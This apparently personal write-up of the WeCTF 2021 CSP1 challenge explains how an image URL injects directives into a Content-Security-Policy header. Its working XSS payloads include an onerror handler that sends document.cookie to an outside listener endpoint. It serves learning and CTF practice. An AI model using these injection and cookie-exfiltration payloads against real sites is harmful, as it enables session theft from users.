WeCTF 2021 CSP1 Challenge Writeup

I only played a bit of WeCTF (a web-only CTF) since this weekend was pretty busy with holidays, but enjoyed the one challenge I did complete, and thought I’d write it up for later. This is a CSP (content security policy) challenge that uses policy injection. Thanks to the organizers for a fun event!

Challenge Prompt

The prompt for this challenge was as follows:

In other words, we have one website where we enter in our payload.

After we enter in our payload and hit submit, we’ll be taken to a page where the payload executes (so we can test it against ourselves). This next page will have a unique URL, which we canthen pass to this other website, that is essentially an admin bot:

We’ll test out our payload on the first site, and once we have a working PoC, share the URL with the admin bot. You’ll want to make sure that you’re using the same host (NY, etc) for each website.

Source Code

We’re given the source code for this challenge (and all challenges). Here’s the interesting part:

You can see that it will take the URL of any image we try to load, parse the domain name out of it, and then add that into the Content Security Policy header.

So, for example, if our payload is:

<img src="http://blahblahblah.com" />

The resulting CSP header will be:

Content-Security-Policy: default-src 'none'; connect-src 'self';
img-src 'self' http://blahblahblah.com; script-src 'none';
style-src 'self'; base-uri 'self'; form-action 'self'

Policy Injection PoC

As with all things, you shouldn’t blindly trust user input, and the same applies here. What happens if we append something to the end of our image URL? For example, if our payload is:

<img src="http://blahblahblah.com; script-src-elem 'unsafe-inline'" />

Then our CSP header will be:

Content-Security-Policy: default-src 'none'; connect-src 'self';
img-src 'self' http://google.com; script-src-elem 'unsafe-inline';
script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'

And just like that, we’ve injected our own policy into the CSP header. There is still an error in the Dev Tools console, but we can still get code to execute that was disallowed previously:

<img src="http://blahblahblah.com; script-src-elem 'unsafe-inline'" />

This will pop an alert window, since we injected the script-src-elem policy and <script> tags are now allowed. Yay! Now let’s get a flag.

We’ll need somewhere to send the cookies too, so I set up a listener on Pipedream (previously RequestBins).

In this PoC, I changed the injected policy to script-src-attr so that I can use the onerror attribute instead of <script> tags.

<img src="https://<pipedream endpoint>;script-src-attr 'unsafe-inline'" />
<img src="#" onerror=this.src="https://<pipedream endpoint>/?c="+document.cookie />

There’s now two img lines so let’s talk about that first. The first one allows images to be loaded from my Pipedream cookie listener, and also injects the new script-src-attr policy.

The second img element passes in a bad src, and then onerror, it updates the source to the (now allowlisted) Pipedream endpoint, and appends the cookie on the end.

I submit this PoC in the first website to test it against myself, and it works:

But when I take the URL (shown in this screenshot) and send it to the admin bot, I get no visits to my listener.

What gives?

What browser is the admin using?

I had tried this on Chrome, and made the mistake of assuming that the admin bot would be using a Chrome-related library.

In any case, it was time to back up and determine which type of browser the admin was using.

If send a basic payload with just an image tag that sends a request to our listener (which we can’t append the cookie to, without adding the CSP policy injection):

We see that the response back says the admin is using Firefox.

So, does our earlier PoC work in Firefox?


Getting our payload to work in Firefox

From that last screenshot, we see

Content Security Policy: Couldn’t process unknown directive 'script-src-attr'

It turns out that Firefox doesn’t know about the script-src-attr because it’s not supported in all browsers because of differing levels of CSP Level support in browsers.

In any case, I went to the “CSP Browser Compatibility” section of the Mozilla developer docs page linked earlier, and picked a tag that was script-related, and supported by Firefox.

This new tag was script-src, which I had been avoiding because it already existed in the CSP header.

<img src="http://<endpoint>; script-src 'unsafe-inline';" />
<img src=x onerror=this.src="http://<endpoint>/?c="+document.cookie />

This ended up making my entire PoC easier and I should have tried overwriting existing policies sooner. TIL.

CSP1 Solution

Here’s the same solution copied into the payload website.

We submit the display URL to the admin bot, and wait 30 seconds:

Then we get the flag!